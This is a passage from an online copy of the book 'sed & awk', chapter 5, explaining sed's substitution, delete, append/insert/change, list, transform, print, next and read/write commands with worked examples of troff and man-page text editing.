The ampersand makes it possible to reference the entire match in the replacement string.

Now let's look at the metacharacters that allow us to select any individual portion of a string that is matched and recall it in the replacement string. A pair of escaped parentheses are used in sed to enclose any part of a regular expression and save it for recall. Up to nine "saves" are permitted for a single line. "\n" is used to recall the portion of the match that was saved, where n is a number from 1 to 9 referencing a particular "saved" string in order of use.

For example, to put the section numbers in boldface when they appeared as a cross reference, we could write the following substitution:

s/\(See Section \)\([1-9][0-9]*\.[1-9][0-9]*\)/\1\\fB\2\\fP/

Two pairs of escaped parentheses are specified. The first captures "See Section [image] " (because this is a fixed string, it could have been simply retyped in the replacement string). The second captures the section number. The replacement string recalls the first saved substring as "\1" and the second as "\2," which is surrounded by bold-font requests.

We can use a similar technique to match parts of a line and swap them. For instance, let's say there are two parts of a line separated by a colon. We can match each part, putting them within escaped parentheses and swapping them in the replacement.

$ cat test1
first:second
one:two
$ sed  's/\(.*\):\(.*\)/\2:\1/' test1
second:first
two:one

The larger point is that you can recall a saved substring in any order, and multiple times, as you'll see in the next example.

5.3.1.1 Correcting index entries

Later, in the awk section of this book, we will present a program for formatting an index, such as the one for this book. The first step in creating an index is to place index codes in the document files. We use an index macro named .XX, which takes a single argument, the index entry. A sample index entry might be:

.XX "sed, substitution command"

Each index entry appears on a line by itself. When you run an index, you get a collection of index entries with page numbers that are then sorted and merged in a list. An editor poring over that list will typically find errors and inconsistencies that need to be corrected. It is, in short, a pain to have to track down the file where an index entry resides and then make the correction, particularly when there are dozens of entries to be corrected.

Sed can be a great help in making these edits across a group of files. One can simply create a list of edits in a sed script and then run it on all the files. A key point is that the substitute command needs an address that limits it to lines beginning ".XX". Your script should not make changes in the text itself.

Let's say that we wanted to change the index entry above to "sed, substitute command." The following command would do it:

/^\.XX /s/sed, substitution command/sed, substitute command/

The address matches all lines that begin with ".XX " and only on those lines does it attempt to make the replacement. You might wonder, why not specify a shorter regular expression? For example:

/^\.XX /s/substitution/substitute/

The answer is simply that there could be other entries which use the word "substitution" correctly and which we would not want to change.

We can go a step further and provide a shell script that creates a list of index entries prepared for editing as a series of sed substitute commands.

#! /bin/sh
# index.edit -- compile list of index entries for editing.
grep "^\.XX" $* | sort -u |
sed '
s/^\.XX \(.*\)$/\/^\\.XX \/s\/\1\/\1\//'

The index.edit shell script uses grep to extract all lines containing index entries from any number of files specified on the command line. It passes this list through sort which, with the -u option, sorts and removes duplicate entries. The list is then piped to sed, and the one-line sed script builds a substitution command.

Let's look at it more closely. Here's just the regular expression:

^\.XX \(.*\)$

It matches the entire line, saving the index entry for recall. Here's just the replacement string:

\/^\\.XX \/s\/\1\/\1\/

It generates a substitute command beginning with an address: a slash, followed by two backslashes - to output one backslash to protect the dot in the ".XX" that follows - then comes a space, then another slash to complete the address. Next we output an "s" followed by a slash, and then recall the saved portion to be used as a regular expression. That is followed by another slash and again we recall the saved substring as the replacement string. A slash finally ends the command.

When the index.edit script is run on a file, it creates a listing similar to this:

$ index.edit ch05
/^\.XX /s/"append command(a)"/"append command(a)"/
/^\.XX /s/"change command"/"change command"/
/^\.XX /s/"change command(c)"/"change command(c)"/
/^\.XX /s/"commands:sed, summary of"/"commands:sed, summary of"/
/^\.XX /s/"delete command(d)"/"delete command(d)"/
/^\.XX /s/"insert command(i)"/"insert command(i)"/
/^\.XX /s/"line numbers:printing"/"line numbers:printing"/
/^\.XX /s/"list command(l)"/"list command(l)"/

This output could be captured in a file. Then you can delete the entries that don't need to change and you can make changes by editing the replacement string. At that point, you can use this file as a sed script to correct the index entries in all document files.

When doing a large book with lots of entries, you might use grep again to extract particular entries from the output of index.edit and direct them into their own file for editing. This saves you from having to wade through numerous entries.

There is one small failing in this program. It should look for metacharacters that might appear literally in index entries and protect them in regular expressions. For instance, if an index entry contains an asterisk, it will not be interpreted as such, but as a metacharacter. To make that change effectively requires the use of several advanced commands, so we'll put off improving this script until the next chapter.

Previous: 5.2 Comment | sed & awk | Next: 5.4 Delete
5.2 Comment | Book Index | 5.4 Delete
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 5] 5.4 Delete

sed & awk

sed & awkSearch this book
Previous: 5.3 Substitution Chapter 5
Basic sed Commands 		Next: 5.5 Append, Insert, and Change

5.4 Delete

We previously showed examples of the delete command (d). It takes an address and deletes the contents of the pattern space if the line matches the address.

The delete command is also a command that can change the flow of control in a script. That is because once it is executed, no further commands are executed on the "empty" pattern space.[4] The delete command causes a new line of input to be read and a new pass on the editing script to begin from the top. (In this behavior, it is the same as the next command, which you'll encounter later in this chapter.)

[4] UNIX documentation reads "no further commands are attempted on the corpse of a deleted line." R.I.P.

The important thing to remember is: if the line matches the address, the entire line is deleted, not just the portion of the line that is matched. (To delete a portion of a line, use the substitute command and specify an empty replacement.) In the previous chapter, we showed a command to delete blank lines:

/^$/d

Another use of the delete command could be to strip out certain troff requests, such as those that add spacing, break the page, and turn fill mode off and on:

/^\.sp/d
/^\.bp/d
/^\.nf/d
/^\.fi/d

These commands delete an entire line. For instance, the first command will delete the line ".sp 1" or ".sp .03v".

The delete command can be used to delete a range of lines. In the previous chapter, there is an example of deleting all tables from a file by deleting the lines between the .TS and .TE macros. There is also a delete command (D) used to delete a portion of a multiline pattern space. This advanced command is presented in the next chapter.

Previous: 5.3 Substitution | sed & awk | Next: 5.5 Append, Insert, and Change
5.3 Substitution | Book Index | 5.5 Append, Insert, and Change
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 5] 5.5 Append, Insert, and Change

sed & awk

sed & awkSearch this book
Previous: 5.4 Delete Chapter 5
Basic sed Commands 		Next: 5.6 List

5.5 Append, Insert, and Change

The append (a), insert (i), and change (c) commands provide editing functions that are commonly performed with an interactive editor, such as vi. You may find it strange to use these same commands to "enter" text using a noninteractive editor. The syntax of these commands is unusual for sed because they must be specified over multiple lines. The syntax follows:

append [line-address]a\
text
insert [line-address]i\
text
change [address]c\
text

The insert command places the supplied text before the current line in the pattern space. The append command places it after the current line. The change command replaces the contents of the pattern space with the supplied text.

Each of these commands requires a backslash following it to escape the first end-of-line. The text must begin on the next line. To input multiple lines of text, each successive line must end with a backslash, with the exception of the very last line. For example, the following insert command inserts two lines of text at a line matching "<Larry's Address>":

/<Larry's Address>/i\
4700 Cross Court\
French Lick, IN

Also, if the text contains a literal backslash, add an extra backslash to escape it.[5]

[5] The original UNIX documentation says that any leading tabs or spaces in the supplied text will disappear on output. This is the case on older versions, such as SunOS 4.1.x and /usr/ucb/sed on Solaris. System V and GNU sed do not delete the leading whitespace. If they disappear on your system, the solution is to put a backslash at the beginning of the line, preceding the first tab or space. The backslash is not output.

The append and insert commands can be applied only to a single line address, not a range of lines. The change command, however, can address a range of lines. In this case, it replaces all addressed lines with a single copy of the text. In other words, it deletes each line in the range but the supplied text is output only once. For example, the following script, when run on a file containing a mail message:

/^From /,/^$/c\
<Mail Header Removed>

removes the entire mail-message header and replaces it with the line "<Mail Header Removed>." Note that you will see the opposite behavior when the change command is one of a group of commands, enclosed in braces, that act on a range of lines. For instance, the following script:

/^From /,/^$/{
    s/^From //p
    c\
<Mail Header Removed>
}

will output "<Mail Header Removed>" for each line in the range. So, while the former example outputs the text once, this example will output it 10 times if there are 10 lines in the range.

The change command clears the pattern space, having the same effect on the pattern space as the delete command. No command following the change command in the script is applied.

The insert and append commands do not affect the contents of the pattern space. The supplied text will not match any address in subsequent commands in the script, nor can those commands affect the text. No matter what changes occur to alter the pattern space, the supplied text will still be output appropriately. This is also true when the default output is suppressed - the supplied text will be output even if the pattern space is not. Also, the supplied text does not affect sed's internal line counter.

Let's look at an example of the insert command. Suppose we wanted to source a local file of macros in all the files of a particular document. In addition, we'd like to define a page header string that identifies the document as a draft. The following script inserts two new lines of text before the first line of a file:

1i\
.so macros\
.ds CH First Draft

After sed executes this command, the pattern space remains unchanged. The new text is output before the current line. A subsequent command could not successfully match "macros" or "First Draft."

A variation of the previous example shows the append command adding a line to the end of a file:

$a\
End of file

The $ is a line-addressing symbol that matches the last line of a file. The supplied text will be output after the current line, so it becomes the last line in the output. Note that even though only one line is output, the supplied text must start on a line by itself and cannot be on the same line as the append command.

The next example shows the insert and append commands used in the same script. The task here is to add a few troff requests before the macro that initializes a list, and several after the macro that closes the list.

/^\.Ls/i\
.in 5n\
.sp .3
/^\.Le/a\
.in 0\
.sp .3

The insert command puts two lines before the .Ls macro and the append command puts two lines after the .Le macro.

The insert command can be used to put a blank line before the current line, or the append command to put one after, by leaving the line following it blank.

The change command replaces the contents of the pattern space with the text you provide. In effect, it deletes the current line and puts the supplied text in its place. It can be used when you want to match a line and replace it entirely. Let's say for instance that a file contains a lot of explicit troff spacing requests with different amounts of spacing. Look at the following series:

.sp 1.5
.sp
.sp 1
.sp 1.5v
.sp .3v
.sp 3

If you wanted to change all the arguments to ".5", it is probably easier to use the change command than try to match all the individual arguments and make the proper substitution.

/^\.sp/c\
.sp .5

This command allows us to ignore the arguments and replace them regardless of what they are.

Previous: 5.4 Delete | sed & awk | Next: 5.6 List
5.4 Delete | Book Index | 5.6 List
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 5] 5.6 List

sed & awk

sed & awkSearch this book
Previous: 5.5 Append, Insert, and Change Chapter 5
Basic sed Commands 		Next: 5.7 Transform

5.6 List

The list command (l) displays the contents of the pattern space, showing non-printing characters as two-digit ASCII codes. It is similar in function to the list (:l) command in vi. You can use this command to detect "invisible" characters in the input.[6]

[6] GNU sed displays certain characters, such as carriage return, using the ANSI C escape sequences, instead of straight octal. Presumably, this is easier to comprehend for those who are familiar with C (or awk, as we'll see later in the book).

$ cat test/spchar
Here is a string of special characters: ^A  ^B
^M ^G
$ sed -n -e "l" test/spchar
Here is a string of special characters: \01 \02
\15 \07
$ # test with GNU sed too
$ gsed -n -e "l" test/spchar
Here is a string of special characters: \01  \02
\r \a

Because the list command causes immediate output, we suppress the default output or we would get duplicate copies of the lines.

You cannot match a character by ASCII value (nor can you match octal values) in sed.[7] Instead, you have to find a key combination in vi to produce it. Use CTRL-V to quote the character. For instance, you can match an ESC character (^[). Look at the following script:

[7] You can do this in awk, however.

# list line and replace ^[ with "Escape"
l
s/^[/Escape/

Here's a one-line test file:

The Great ^[ is a movie starring Steve McQueen.

Running the script produces the following output:

The Great \33 is a movie starring Steve McQueen.
The Great Escape is a movie starring Steve McQueen.

GNU sed produces this:

The Great \1b is a movie starring Steve McQueen.
The Great Escape is a movie starring Steve McQueen.

The ^[ character was made in vi by entering CTRL-V, then pressing the ESC key.

5.6.1 Stripping Out Non-Printable Characters from nroff Files

The UNIX formatter nroff produces output for line printers and CRT displays. To achieve such special effects as bolding, it outputs the character followed by a backspace and then outputs the same character again. A sample of it viewed with a text editor might look like:

N^HN^HN^HNA^HA^HA^HAM^HM^HM^HME^HE^HE^HE

which bolds the word "NAME." There are three overstrikes for each character output. Similarly, underlining is achieved by outputting an underscore, a backspace and then the character to be underlined. The following example is the word "file" surrounded by a sequence for underscoring it.

_^Hf_^Hi_^Hl_^He

It might be necessary at times to strip these printing "special-effects"; perhaps if you are given this type of output as a source file. The following line removes the sequences for emboldening and underscoring:

s/.^H//g

It removes any character preceding the backspace along with the backspace itself. In the case of underlining, "." matches the underscore; for emboldening, it matches the overstrike character. Because it is applied repeatedly, multiple occurrences of the overstrike character are removed, leaving a single character for each sequence. Note that ^H is entered in vi by pressing CTRL-V followed by CTRL-H.

A sample application is "de-formatting" an nroff-produced man page found on an older System V UNIX system.[8] If you should want to access the formatted pages with a text editor, you'd want to get a clean version. (In many ways, this is a similar problem to one we solved in converting a word processing file in the previous chapter.) A formatted man page captured in a file looks like this:

[8] For a while, many System V UNIX vendors only provided preformatted manpages. This allowed the man command to show information quickly, instead of having to format it, but the lack of troff source to the manpages made it difficult to fix documentation errors. Fortunately, most vendors of modern UNIX systems supply source for their manuals.

^[9     who(1)                                             who(1)
^[9 N^HN^HN^HNA^HA^HA^HAM^HM^HM^HME^HE^HE^HE
      who - who is on the system?
  S^HS^HS^HSY^HY^HY^HYN^HN^HN^HNO^HO^HO^HOP^HP^HP^HPS^HS^HS^HSI^HI
      who [-a] [-b] [-d] [-H] [-l] [-p] [-q] [-r] [-s] [-t] [-T]
      [-u] [_^Hf_^Hi_^Hl_^He]
          who am i
          who am I
  D^HD^HD^HDE^HE^HE^HES^HS^HS^HSC^HC^HC^HCR^HR^HR^HRI^HI^HI^HIP^HP
      who can list the user's name, terminal line, login time,
      elapsed time since activity occurred on the line, and the
...

In addition to stripping out the bolding and underlining sequences, there are strange escape sequences that produce form feeds or various other printer functions. You can see the sequence "^[9" at the top of the formatted manpage. This escape sequence can simply be removed:

s/^[9//g

Once again, the ESC character is entered in vi by typing CTRL-V followed by pressing the ESC key. The number 9 is literal. There are also what look to be leading spaces that supply the left margin and indentation. On further examination, it turns out that leading spaces precede the heading such as "NAME" but a single tab precedes each line of text. Also, there are tabs that unexpectedly appear in the text, which have to do with how nroff optimizes for display on a CRT screen.

To eliminate the left margin and the unwanted tabs, we add two commands to our previous two:

# sedman -- deformat nroff-formatted manpage
s/.^H//g
s/^[9//g
s/^[     ·]*//g
s/  · / /g

The third command looks for any number of tabs or spaces at the beginning of a line. (A tab is represented by " · " and a space by " [image] ".) The last command looks for a tab and replaces it with a single space. Running this script on our sample man page output produces a file that looks like this:

who(1)                                                     who(1)
NAME
who - who is on the system?
SYNOPSIS
who [-a] [-b] [-d] [-H] [-l] [-p] [-q] [-r] [-s] [-t] [-T]
[-u] [file]
who am i
who am I
DESCRIPTION
who can list the user's name, terminal line, login time,
elapsed time since activity occurred on the line, and the
...

This script does not eliminate the unnecessary blank lines caused by paging. We will look at how to do that in the next chapter, as it requires a multiline operation.

Previous: 5.5 Append, Insert, and Change | sed & awk | Next: 5.7 Transform
5.5 Append, Insert, and Change | Book Index | 5.7 Transform
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 5] 5.7 Transform

sed & awk

sed & awkSearch this book
Previous: 5.6 List Chapter 5
Basic sed Commands 		Next: 5.8 Print

5.7 Transform

The transform command is peculiar, not only because it is the least mnemonic of all sed commands. This command transforms each character by position in string abc to its equivalent in string xyz.[9] Its syntax follows:

[9] This command is patterned after the UNIX tr command, which translates characters. This is a useful command in its own right; see your local documentation for details. Undoubtedly sed's y command would have been named t, if t had not already been taken (by the test command, see Chapter 6, Advanced sed Commands).

[address]y/abc/xyz/

The replacement is made by character position. Therefore, it has no idea of a "word." Thus, "a" is replaced by "x" anywhere on the line, regardless of whether or not it is followed by a "b". One possible use of this command is to replace lowercase letters with their uppercase counterparts.

y/abcdefghijklmnopqrstuvwxyz/ABCDEFGHIJKLMNOPQRSTUVWXYZ/

This command affects the entire contents of the pattern space. If you want to convert a single word on the input line, you could do it by using the hold space. See Chapter 6 for more details on how to use the hold space. (The process is not trivial: you output the line up to the word you want to change, delete that portion of the line, copy the line after the word to the hold space, transform the word, and then append the contents of the hold space back to the pattern space.)

Previous: 5.6 List | sed & awk | Next: 5.8 Print
5.6 List | Book Index | 5.8 Print
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 5] 5.8 Print

sed & awk

sed & awkSearch this book
Previous: 5.7 Transform Chapter 5
Basic sed Commands 		Next: 5.9 Print Line Number

5.8 Print

The print command (p) causes the contents of the pattern space to be output. It does not clear the pattern space nor does it change the flow of control in the script. However, it is frequently used before commands (d, N, b) that do change flow control. Unless the default output is suppressed (-n), the print command will cause duplicate copies of a line to be output. It can be used when default output is suppressed or when the flow control through the program avoids reaching the bottom of the script.

Let's look at a script that shows how the print command might be used for debugging purposes. It is used to show what the line looked like before you made any changes.

#n Print line before and after changes.
/^\.Ah/{
p
s/"//g
s/^\.Ah //p
}

Note that the print flag is supplied to the substitute command. The substitute command's print flag differs from the print command in that it is conditional upon a successful substitution.

Here's a sample run of the above script:

$ sed -f sed.debug ch05
.Ah "Comment"
Comment
.Ah "Substitution"
Substitution
.Ah "Delete"
Delete
.Ah "Append, Insert and Change"
Append, Insert and Change
.Ah "List"
List

Each affected line is printed twice.

We'll see additional examples of the print command in the next chapter. See also the multiline print command (P) in the next chapter.

Previous: 5.7 Transform | sed & awk | Next: 5.9 Print Line Number
5.7 Transform | Book Index | 5.9 Print Line Number
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 5] 5.9 Print Line Number

sed & awk

sed & awkSearch this book
Previous: 5.8 Print Chapter 5
Basic sed Commands 		Next: 5.10 Next

5.9 Print Line Number

An equal sign (=) following an address prints the line number of the matched line. Unless you suppress the automatic output of lines, both the line number and the line itself will be printed. Its syntax is:

[line-address]=

This command cannot operate on a range of lines.

A programmer might use this to print certain lines in a source file. For instance, the following script prints the line number followed by the line itself for each line containing a tab followed by the string "if". Here's the script:

#n print line number and line with if statement
/       if/{
=
p
}

Note that #n suppresses the default output of lines. Now let's see how it works on a sample program, random.c:

$ sed -f sedscr.= random.c
192
        if(  rand_type  ==  TYPE_0  )  {
234
        if(  rand_type  ==  TYPE_0  )  state[ -1 ] = rand_type;
236
        if(  n  <  BREAK_1  )  {
252
                if(  n  <  BREAK_3  )  {
274
        if(  rand_type  ==  TYPE_0  )  state[ -1 ] = rand_type;
303
        if(  rand_type  ==  TYPE_0  )  state[ -1 ] = rand_type;

The line numbers might be useful in finding problems reported by the compiler, which typically lists the line number.

Previous: 5.8 Print | sed & awk | Next: 5.10 Next
5.8 Print | Book Index | 5.10 Next
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 5] 5.10 Next

sed & awk

sed & awkSearch this book
Previous: 5.9 Print Line Number Chapter 5
Basic sed Commands 		Next: 5.11 Reading and Writing Files

5.10 Next

The next command (n) outputs the contents of the pattern space and then reads the next line of input without returning to the top of the script. Its syntax is:

[address]n

The next command changes the normal flow control, which doesn't output the contents of the pattern space until the bottom of the script is reached and which always begins at the top of the script after reading in a new line. In effect, the next command causes the next line of input to replace the current line in the pattern space. Subsequent commands in the script are applied to the replacement line, not the current line. If the default output has not been suppressed, the current line is printed before the replacement takes place.

Let's look at an example of the next command in which we delete a blank line only when it follows a pattern matched on the previous line. In this case, a writer has inserted a blank line after a section heading macro (.H1). We want to remove that blank line without removing all blank lines in the file. Here's the sample file:

.H1 "On Egypt"

Napoleon, pointing to the Pyramids, said to his troops:
"Soldiers, forty centuries have their eyes upon you."

The following script removes that blank line:

/^\.H1/{
n
/^$/d
}

You can read this script as follows: "Match any line beginning with the string `.H1', then print that line and read in the next line. If that line is blank, delete it." The braces are used to apply multiple commands at the same address.

In a longer script, you must remember that commands occurring before the next command will not be applied to the new input line, nor will commands occuring after it be applied to the old input line.

You'll see additional examples of the n command in Chapter 6, along with a multiline version of this command.

Previous: 5.9 Print Line Number | sed & awk | Next: 5.11 Reading and Writing Files
5.9 Print Line Number | Book Index | 5.11 Reading and Writing Files
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 5] 5.11 Reading and Writing Files

sed & awk

sed & awkSearch this book
Previous: 5.10 Next Chapter 5
Basic sed Commands 		Next: 5.12 Quit

5.11 Reading and Writing Files

The read (r) and write (w) commands allow you to work directly with files. Both take a single argument, the name of a file. The syntax follows:

[line-address]r file
[address]w file

The read command reads the contents of file into the pattern space after the addressed line. It cannot operate on a range of lines. The write command writes the contents of the pattern space to the file.

You must have a single space between the command and the filename. (Everything after that space and up to the newline is taken to be the filename. Thus, leading or embedded spaces will become part of the filename.) The read command will not complain if the file does not exist. The write command will create a file if it does not exist; if the file already exists, the write command will overwrite it each time the script is invoked. If there are multiple instructions writing to the same file in one script, then each write command appends to the file. Also, be aware that you can only open up to 10 files per script.

The read command can be useful for inserting the contents of one file at a particular place in another file. For instance, let's say that there is a set of files and each file should close with the same one- or two-paragraph statement. A sed script would allow you to maintain the closing separately while inserting it as needed, for instance, when sending the file to the printer.

sed '$r closing' $* | pr | lp

The $ is an addressing symbol specifying the last line of the file. The contents of the file named closing are placed after the contents of pattern space and output with it. This example does not specify a pathname, assuming the file to be in the same directory as the command. A more general-purpose command should use the full pathname.

You may want to test out a few quirks of the read command. Let's look at the following command:

/^<Company-list>/r company.list

That is, when sed matches a line beginning with the string "<Company-list>", it is going to append the contents of the file company.list to the end of the matched line. No subsequent command will affect the lines read from the file. For instance, you can't make any changes to the list of companies that you've read into the file. However, commands that address the original line will work. The previous command could be followed by a second command:

/^<Company-list>/d

to delete the original line. So that if the input file was as follows:

For service, contact any of the following companies:
<Company-list>
Thank you.

running the two-line script would produce:

For service, contact any of the following companies:
    Allied
    Mayflower
    United
Thank you.

Suppressing the automatic output, using the -n option or #n script syntax, prevents the original line in the pattern space from being output, but the result of a read command still goes to standard output.

Now let's look at examples of the write command. One use is to extract information from one file and place it in its own file. For instance, imagine that we had a file listing the names of salespeople alphabetically. For each person, the listing designates which of four regions the person is assigned to. Here's a sample:

Adams, Henrietta        Northeast
Banks, Freda            South
Dennis, Jim             Midwest
Garvey, Bill            Northeast
Jeffries, Jane          West
Madison, Sylvia         Midwest
Sommes, Tom             South

Writing a script for a seven-line file, of course, is ridiculous. Yet such a script can potentially handle as many names as you can put together, and is reusable.

If all we wanted was to extract the names for a particular region, we could easily use grep to do it. The advantage with sed is that we can break up the file into four separate files in a single step. The following four-line script does it:

/Northeast$/w region.northeast
/South$/w region.south
/Midwest$/w region.midwest
/West$/w region.west

All of the names of salespeople that are assigned to the Northeast region will be placed in a file named region.northeast.

The write command writes out the contents of the pattern space when the command is invoked, not when end of the script is reached. In the previous example, we might want to remove the name of the region before writing it to file. For each case, we could handle it as we show for the Northeast region:

/Northeast$/{
    s///
    w region.northeast
    }

The substitute command matches the same pattern as the address and removes it. There are many different uses for the write command; for example, you could use it in a script to generate several customized versions of the same source file.

5.11.1 Checking Out Reference Pages

Like many programs, a sed script often starts out small, and is simple to write and simple to read. In testing the script, you may discover specific cases for which the general rules do not apply. To account for these, you add lines to your script, making it longer, more complex, and more complete. While the amount of time you spend refining your script may cancel out the time saved by not doing the editing manually, at least during that time your mind has been engaged by your own seeming sleight-of-hand: "See! The computer did it."

We encountered one such problem in preparing a formatted copy of command pages that the writer had typed as a text file without any formatting information. Although the files had no formatting codes, headings were used consistently to identify the format of the command pages. A sample file is shown below.

******************************************************************

NAME:	DBclose - closes a database

SYNTAX:
    void	DBclose(fdesc)
        DBFILE *fdesc;

USAGE:
    fdesc	- pointer to database file descriptor

DESC:
DBclose() closes a file when given its database file descriptor.
Your pending writes to that file will be completed before the
file is closed.  All of your update locks are removed.
*fdesc becomes invalid.

Other users are not affected when you call DBclose().  Their update
locks and pending writes are not changed.

Note that there is no default file as there is in BASIC.
*fdesc must specify an open file.

DBclose() is analogous to the CLOSE statement in BASIC.

RETURNS:
    There is no return value

******************************************************************

The task was to format this document for the laser printer, using the reference header macros we had developed. Because there were perhaps forty of these command pages, it would have been utter drudgery to go through and add codes by hand. However, because there were that many, and even though the writer was generally consistent in entering them, there would be enough differences from command to command to have required several passes.

We'll examine the process of building this sed script. In a sense, this is a process of looking carefully at each line of a sample input file and determining whether or not an edit must be made on that line. Then we look at the rest of the file for similar occurrences. We try to find specific patterns that mark the lines or range of lines that need editing.

For instance, by looking at the first line, we know we need to eliminate the row of asterisks separating each command. We specify an address for any line beginning and ending with an asterisk and look for zero or more asterisks in between. The regular expression uses an asterisk as a literal and as a metacharacter:

/^\*\**\*$/d

This command deletes entire lines of asterisks anywhere they occur in the file. We saw that blank lines were used to separate paragraphs, but replacing every blank line with a paragraph macro would cause other problems. In many cases, the blank lines can be removed because spacing has been provided in the macro. This is a case where we put off deleting or replacing blank lines on a global basis until we have dealt with specific cases. For instance, some blank lines separate labeled sections, and we can use them to define the end of a range of lines. The script, then, is designed to delete unwanted blank lines as the last operation.

Tabs were a similar problem. Tabs were used to indent syntax lines and in some cases after the colon following a label, such as "NAME". Our first thought was to remove all tabs by replacing them with eight spaces, but there were tabs we wanted to keep, such as those inside the syntax line. So we removed only specific cases, tabs at the beginning of lines and tabs following a colon.

/^  · /s///
/:  · /s//:/

The next line we come across has the name of the command and a description.

NAME:	DBclose - closes a database

We need to replace it with the macro .Rh 0. Its syntax is:

.Rh 0 "command" "description"

We insert the macro at the beginning of the line, remove the hyphen, and surround the arguments with quotation marks.

/NAME:/ {
    s//.Rh 0 "/
    s/ - /" "/
    s/$/"/
    }

We can jump ahead of ourselves a bit here and look at what this portion of our script does to the sample line:

.Rh 0 "DBclose" "closes a database"

The next part that we examine begins with "SYNTAX." What we need to do here is put in the .Rh macro, plus some additional troff requests for indentation, a font change, and no-fill and no-adjust. (The indentation is required because we stripped the tabs at the beginning of the line.) These requests must go in before and after the syntax lines, turning the capabilities on and off. To do this, we define an address that specifies the range of lines between two patterns, the label and a blank line. Then, using the change command, we replace the label and the blank line with a series of formatting requests.

/SYNTAX:/,/^$/ {
    /SYNTAX:/c\
.Rh Syntax\
.in +5n\
.ft B\
.nf\
.na
    /^$/c\
.in -5n\
.ft R\
.fi\
.ad b
    }

Following the change command, each line of input ends with a backslash except the last line. As a side effect of the change command, the current line is deleted from the pattern space.

The USAGE portion is next, consisting of one or more descriptions of variable items. Here we want to format each item as an indented paragraph with a hanging italicized label. First, we output the .Rh macro; then we search for lines having two parts separated by a tab and a hyphen. Each part is saved, using backslash-parentheses, and recalled during the substitution.

/USAGE:/,/^$/ {
    /USAGE:/c\
.Rh Usage
    /\(.*\)  · - \(.*\)/s//.IP "\\fI\1\\fR" 15n\
\2./
    }

This is a good example of the power of regular expressions. Let's look ahead, once again, and preview the output for the sample.

.Rh Usage
.IP "\fIfdesc\fR" 15n
pointer to database file descriptor.

The next part we come across is the description. We notice that blank lines are used in this portion to separate paragraphs. In specifying the address for this portion, we use the next label, "RETURNS."

/DESC:/,/RETURNS/ {
    /DESC:/i\
.LP
    s/DESC: *$/.Rh Description/
    s/^$/.LP/
}

The first thing we do is insert a paragraph macro because the preceding USAGE section consisted of indented paragraphs. (We could have used the variable-list macros from the -mm package in the USAGE section; if so, we would insert the .LE at this point.) This is done only once, which is why it is keyed to the "DESC" label. Then we substitute the label "DESC" with the .Rh macro and replace all blank lines in this section with a paragraph macro.

When we tested this portion of the sed script on our sample file, it didn't work because there was a single space following the DESC label. We changed the regular expression to look for zero or more spaces following the label. Although this worked for the sample file, there were other problems when we used a larger sample. The writer was inconsistent in his use of the "DESC" label. Mostly, it occurred on a line by itself; sometimes, though, it was included at the start of the second paragraph. So we had to add another pattern to deal with this case. It searches for the label followed by a space and one or more characters.

s/DESC: *$/.Rh Description/
s/DESC: \(.*\)/.Rh Description\
\\1/

In the second case, the reference header macro is output followed by a newline.

The next section, labeled "RETURNS," is handled in the same way as the SYNTAX section.

We do make minor content changes, replacing the label "RETURNS" with "Return Value" and consequently adding this substitution:

s/There is no return value\.*/None./

The very last thing we do is delete remaining blank lines.

/^$/d

Our script is put in a file named refsed. Here it is in full:

# refsed -- add formatting codes to reference pages
/^\*\**\*$/d
/^  · /s///
/:  · /s//:/
/NAME:/ {
    s//.Rh 0 "/
    s/ - /" "/
    s/$/"/
}
/SYNTAX:/,/^$/ {
    /SYNTAX:/c\
.Rh Syntax\
.in +5n\
.ft B\
.nf\
.na
    /^$/c\
.in -5n\
.ft R\
.fi\
.ad b
}
/USAGE:/,/^$/ {
    /USAGE:/c\
.Rh Usage
    /\(.*\)  · - \(.*\)/s//.IP "\\fI\1\\fR" 15n\
\2./
}
/DESC:/,/RETURNS/ {
    /DESC:/i\
.LP
    s/DESC: *$/.Rh Description/
    s/DESC: \(.*\)/.Rh Description\
\1/
    s/^$/.LP/
}
/RETURNS:/,/^$/ {
    /RETURNS:/c\
.Rh "Return Value"
    s/There is no return value\.*/None./
}
/^$/d

As we have remarked, you should not have sed overwrite the original. It is best to redirect the output of sed to another file or let it go to the screen. If the sed script does not work properly, you will find that it is generally easier to change the script and re-run it on the original file than to write a new script to correct the problems caused by a previous run.

$ sed -f refsed refpage
.Rh 0 "DBclose" "closes a database"
.Rh Syntax
.in +5n
.ft B
.nf
.na
void	DBclose(fdesc)
    DBFILE *fdesc;
.in -5n
.ft R
.fi
.ad b
.Rh Usage
.IP "\fIfdesc\fR" 15n
pointer to database file descriptor.
.LP
.Rh Description
DBclose() closes a file when given its database file descriptor.
Your pending writes to that file will be completed before the
file is closed.  All of your update locks are removed.
*fdesc becomes invalid.
.LP
Other users are not effected when you call DBclose().  Their update
locks and pending writes are not changed.
.LP
Note that there is no default file as there is in BASIC.
*fdesc must specify an open file.
.LP
DBclose() is analogous to the CLOSE statement in BASIC.
.LP
.Rh "Return Value"
None.

Previous: 5.10 Next | sed & awk | Next: 5.12 Quit
5.10 Next | Book Index | 5.12 Quit
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 5] 5.12 Quit

sed & awk

